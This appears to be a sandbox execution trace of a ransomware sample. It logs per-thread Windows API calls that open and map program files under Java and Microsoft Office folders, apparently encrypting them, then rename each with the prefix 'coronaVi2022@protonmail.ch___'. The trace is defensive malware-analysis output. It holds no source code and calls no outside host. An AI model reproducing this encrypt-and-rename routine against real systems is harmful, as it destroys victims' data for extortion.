	[0084.865] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_MoveDrop32x32.gif") returned 106
	[0084.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_movedrop32x32.gif")) returned 1
	[0084.866] free (_Block=0x2fbd9f0) 
	[0084.866] RtlExitUserThread (Status=0x0) 

Thread:
	id = 250
	os_tid = 0x1468

	[0084.868] _alloca_probe () returned 0x40328a
	[0084.869] GetCurrentThreadId () returned 0x1468
	[0084.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", dwFileAttributes=0x80) returned 1
	[0084.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8
	[0084.869] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=153) returned 1
	[0084.869] CreateFileMappingA (hFile=0x6a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa1, lpName=0x0) returned 0x6ac
	[0084.869] MapViewOfFile (hFileMappingObject=0x6ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.870] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.870] CloseHandle (hObject=0x6ac) returned 1
	[0084.870] GetCurrentThreadId () returned 0x1468
	[0084.870] FlushFileBuffers (hFile=0x6a8) returned 1
	[0084.871] CloseHandle (hObject=0x6a8) returned 1
	[0084.873] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_MoveNoDrop32x32.gif") returned 108
	[0084.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\coronaVi2022@protonmail.ch___win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavi2022@protonmail.ch___win32_movenodrop32x32.gif")) returned 1
	[0084.873] free (_Block=0x2fbd9f0) 
	[0084.873] RtlExitUserThread (Status=0x0) 

Thread:
	id = 251
	os_tid = 0x146c

	[0084.878] _alloca_probe () returned 0x40328a
	[0084.879] GetCurrentThreadId () returned 0x146c
	[0084.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", dwFileAttributes=0x80) returned 1
	[0084.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c
	[0084.880] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=4226) returned 1
	[0084.880] CreateFileMappingA (hFile=0x68c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1083, lpName=0x0) returned 0x6a8
	[0084.880] MapViewOfFile (hFileMappingObject=0x6a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.882] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.882] CloseHandle (hObject=0x6a8) returned 1
	[0084.882] GetCurrentThreadId () returned 0x146c
	[0084.882] FlushFileBuffers (hFile=0x68c) returned 1
	[0084.889] CloseHandle (hObject=0x68c) returned 1
	[0084.891] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\coronaVi2022@protonmail.ch___jvm.hprof.txt") returned 81
	[0084.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\coronaVi2022@protonmail.ch___jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\coronavi2022@protonmail.ch___jvm.hprof.txt")) returned 1
	[0084.892] free (_Block=0x2fbe9f8) 
	[0084.892] RtlExitUserThread (Status=0x0) 

Thread:
	id = 252
	os_tid = 0x1470

	[0084.918] _alloca_probe () returned 0x40328a
	[0084.919] GetCurrentThreadId () returned 0x1470
	[0084.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", dwFileAttributes=0x80) returned 1
	[0084.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0084.920] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=46) returned 1
	[0084.920] CreateFileMappingA (hFile=0x6ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b, lpName=0x0) returned 0x68c
	[0084.920] MapViewOfFile (hFileMappingObject=0x68c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.920] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.920] CloseHandle (hObject=0x68c) returned 1
	[0084.920] GetCurrentThreadId () returned 0x1470
	[0084.920] FlushFileBuffers (hFile=0x6ac) returned 1
	[0084.922] CloseHandle (hObject=0x6ac) returned 1
	[0084.924] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___README.txt") returned 74
	[0084.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\coronavi2022@protonmail.ch___readme.txt")) returned 1
	[0084.924] free (_Block=0x2fc0a08) 
	[0084.924] RtlExitUserThread (Status=0x0) 

Thread:
	id = 253
	os_tid = 0x1474

	[0084.929] _alloca_probe () returned 0x40328a
	[0084.929] GetCurrentThreadId () returned 0x1474
	[0084.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", dwFileAttributes=0x80) returned 1
	[0084.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c
	[0084.930] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=63933) returned 1
	[0084.930] CreateFileMappingA (hFile=0x68c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf9c9, lpName=0x0) returned 0x6a8
	[0084.930] MapViewOfFile (hFileMappingObject=0x6a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0084.945] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0084.946] CloseHandle (hObject=0x6a8) returned 1
	[0084.946] GetCurrentThreadId () returned 0x1474
	[0084.946] FlushFileBuffers (hFile=0x68c) returned 1
	[0087.028] CloseHandle (hObject=0x68c) returned 1
	[0087.034] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 98
	[0087.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\coronavi2022@protonmail.ch___thirdpartylicensereadme-javafx.txt")) returned 1
	[0087.035] free (_Block=0x2fc0a08) 
	[0087.035] RtlExitUserThread (Status=0x0) 

Thread:
	id = 254
	os_tid = 0x1478

	[0084.951] _alloca_probe () returned 0x40328a
	[0084.951] GetCurrentThreadId () returned 0x1478
	[0084.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", dwFileAttributes=0x80) returned 1
	[0084.952] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0
	[0084.952] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=145180) returned 1
	[0084.952] CreateFileMappingA (hFile=0x6b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23727, lpName=0x0) returned 0x6b4
	[0084.952] MapViewOfFile (hFileMappingObject=0x6b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0084.981] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0084.982] CloseHandle (hObject=0x6b4) returned 1
	[0084.982] GetCurrentThreadId () returned 0x1478
	[0084.982] FlushFileBuffers (hFile=0x6b0) returned 1
	[0087.050] CloseHandle (hObject=0x6b0) returned 1
	[0087.054] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___THIRDPARTYLICENSEREADME.txt") returned 91
	[0087.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\coronaVi2022@protonmail.ch___THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\coronavi2022@protonmail.ch___thirdpartylicensereadme.txt")) returned 1
	[0087.055] free (_Block=0x2fc1a10) 
	[0087.055] RtlExitUserThread (Status=0x0) 

Thread:
	id = 255
	os_tid = 0x147c

	[0084.989] _alloca_probe () returned 0x40328a
	[0084.989] GetCurrentThreadId () returned 0x147c
	[0084.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", dwFileAttributes=0x80) returned 1
	[0084.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8
	[0084.991] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=5944055) returned 1
	[0084.991] CreateFileMappingA (hFile=0x4e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ab2fd, lpName=0x0) returned 0x6b8
	[0084.992] MapViewOfFile (hFileMappingObject=0x6b8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0086.188] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0086.252] CloseHandle (hObject=0x6b8) returned 1
	[0086.252] GetCurrentThreadId () returned 0x147c
	[0086.252] FlushFileBuffers (hFile=0x4e8) returned 1
	[0086.261] CloseHandle (hObject=0x4e8) returned 1
	[0086.423] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\coronaVi2022@protonmail.ch___AppXManifest.xml") returned 79
	[0086.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\coronaVi2022@protonmail.ch___AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\coronavi2022@protonmail.ch___appxmanifest.xml")) returned 1
	[0086.425] free (_Block=0x2fc2a18) 
	[0086.425] RtlExitUserThread (Status=0x0) 

Thread:
	id = 256
	os_tid = 0x1480

	[0085.020] _alloca_probe () returned 0x40328a
	[0085.020] GetCurrentThreadId () returned 0x1480
	[0085.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", dwFileAttributes=0x80) returned 1
	[0085.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0
	[0085.044] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x3abff5c | out: lpFileSize=0x3abff5c*=281) returned 1
	[0085.044] CreateFileMappingA (hFile=0x6c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x121, lpName=0x0) returned 0x6c4
	[0085.044] MapViewOfFile (hFileMappingObject=0x6c4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3ac0000
	[0085.045] UnmapViewOfFile (lpBaseAddress=0x3ac0000) returned 1
	[0085.045] CloseHandle (hObject=0x6c4) returned 1
	[0085.045] GetCurrentThreadId () returned 0x1480
	[0085.045] FlushFileBuffers (hFile=0x6c0) returned 1
	[0085.092] CloseHandle (hObject=0x6c0) returned 1
	[0085.094] _swprintf (in: param_1=0x3ab9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\coronaVi2022@protonmail.ch___FileSystemMetadata.xml") returned 85
	[0085.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\coronaVi2022@protonmail.ch___FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\coronavi2022@protonmail.ch___filesystemmetadata.xml")) returned 1
	[0085.095] free (_Block=0x2fc4a28) 
	[0085.095] RtlExitUserThread (Status=0x0) 

Thread:
	id = 257
	os_tid = 0x1484

	[0086.436] _alloca_probe () returned 0x40328a
	[0086.436] GetCurrentThreadId () returned 0x1484
	[0086.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs", dwFileAttributes=0x80) returned 1
	[0086.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8
	[0086.438] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=94467) returned 1
	[0086.438] CreateFileMappingA (hFile=0x6b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17105, lpName=0x0) returned 0x6c4
	[0086.438] MapViewOfFile (hFileMappingObject=0x6c4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0086.456] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0086.457] CloseHandle (hObject=0x6c4) returned 1
	[0086.457] GetCurrentThreadId () returned 0x1484
	[0086.457] FlushFileBuffers (hFile=0x6b8) returned 1
	[0087.063] CloseHandle (hObject=0x6b8) returned 1
	[0087.067] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office16\\coronaVi2022@protonmail.ch___OSPP.vbs") returned 80
	[0087.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.vbs" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\coronaVi2022@protonmail.ch___OSPP.vbs" (normalized: "c:\\program files\\microsoft office\\office16\\coronavi2022@protonmail.ch___ospp.vbs")) returned 1
	[0087.067] free (_Block=0x2fc4a28) 
	[0087.067] RtlExitUserThread (Status=0x0) 

Thread:
	id = 258
	os_tid = 0x1488

	[0086.462] _alloca_probe () returned 0x40328a
	[0086.463] GetCurrentThreadId () returned 0x1488
	[0086.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml", dwFileAttributes=0x80) returned 1
	[0086.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0086.463] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=36336) returned 1
	[0086.463] CreateFileMappingA (hFile=0x6c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8df0, lpName=0x0) returned 0x6cc
	[0086.464] MapViewOfFile (hFileMappingObject=0x6cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0086.471] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0086.508] CloseHandle (hObject=0x6cc) returned 1
	[0086.509] GetCurrentThreadId () returned 0x1488
	[0086.509] FlushFileBuffers (hFile=0x6c8) returned 1
	[0086.520] CloseHandle (hObject=0x6c8) returned 1
	[0086.522] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office16\\coronaVi2022@protonmail.ch___SLERROR.xml") returned 83
	[0086.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.xml" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\coronaVi2022@protonmail.ch___SLERROR.xml" (normalized: "c:\\program files\\microsoft office\\office16\\coronavi2022@protonmail.ch___slerror.xml")) returned 1
	[0086.523] free (_Block=0x2fc5a30) 
	[0086.523] RtlExitUserThread (Status=0x0) 

Thread:
	id = 259
	os_tid = 0x148c

	[0086.535] _alloca_probe () returned 0x40328a
	[0086.535] GetCurrentThreadId () returned 0x148c
	[0086.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0086.536] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=387356) returned 1
	[0086.536] CreateFileMappingA (hFile=0x6cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e927, lpName=0x0) returned 0x6d0
	[0086.536] MapViewOfFile (hFileMappingObject=0x6d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0086.682] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0086.686] CloseHandle (hObject=0x6d0) returned 1
	[0086.686] GetCurrentThreadId () returned 0x148c
	[0086.686] FlushFileBuffers (hFile=0x6cc) returned 1
	[0087.091] CloseHandle (hObject=0x6cc) returned 1
	[0087.100] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 133
	[0087.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.103] free (_Block=0x2fc5a30) 
	[0087.103] RtlExitUserThread (Status=0x0) 

Thread:
	id = 260
	os_tid = 0x1490

	[0086.693] _alloca_probe () returned 0x40328a
	[0086.693] GetCurrentThreadId () returned 0x1490
	[0086.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0086.709] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x36aff5c | out: lpFileSize=0x36aff5c*=1533) returned 1
	[0086.709] CreateFileMappingA (hFile=0x6d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x609, lpName=0x0) returned 0x6d8
	[0086.709] MapViewOfFile (hFileMappingObject=0x6d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0086.712] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0086.712] CloseHandle (hObject=0x6d8) returned 1
	[0086.712] GetCurrentThreadId () returned 0x1490
	[0086.712] FlushFileBuffers (hFile=0x6d0) returned 1
	[0086.721] CloseHandle (hObject=0x6d0) returned 1
	[0086.723] _swprintf (in: param_1=0x36a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 133
	[0086.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0086.724] free (_Block=0x2fc6a38) 
	[0086.724] RtlExitUserThread (Status=0x0) 

Thread:
	id = 261
	os_tid = 0x1494

	[0086.710] _alloca_probe () returned 0x40328a
	[0086.711] GetCurrentThreadId () returned 0x1494
	[0086.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0086.714] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x37aff5c | out: lpFileSize=0x37aff5c*=800867) returned 1
	[0086.714] CreateFileMappingA (hFile=0x6d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3865, lpName=0x0) returned 0x6e0
	[0086.714] MapViewOfFile (hFileMappingObject=0x6e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x37b0000
	[0086.874] UnmapViewOfFile (lpBaseAddress=0x37b0000) returned 1
	[0086.882] CloseHandle (hObject=0x6e0) returned 1
	[0086.882] GetCurrentThreadId () returned 0x1494
	[0086.882] FlushFileBuffers (hFile=0x6d8) returned 1
	[0087.114] CloseHandle (hObject=0x6d8) returned 1
	[0087.131] _swprintf (in: param_1=0x37a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 133
	[0087.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.132] free (_Block=0x2fc7a40) 
	[0087.132] RtlExitUserThread (Status=0x0) 

Thread:
	id = 262
	os_tid = 0x1498

	[0086.766] _alloca_probe () returned 0x40328a
	[0086.767] GetCurrentThreadId () returned 0x1498
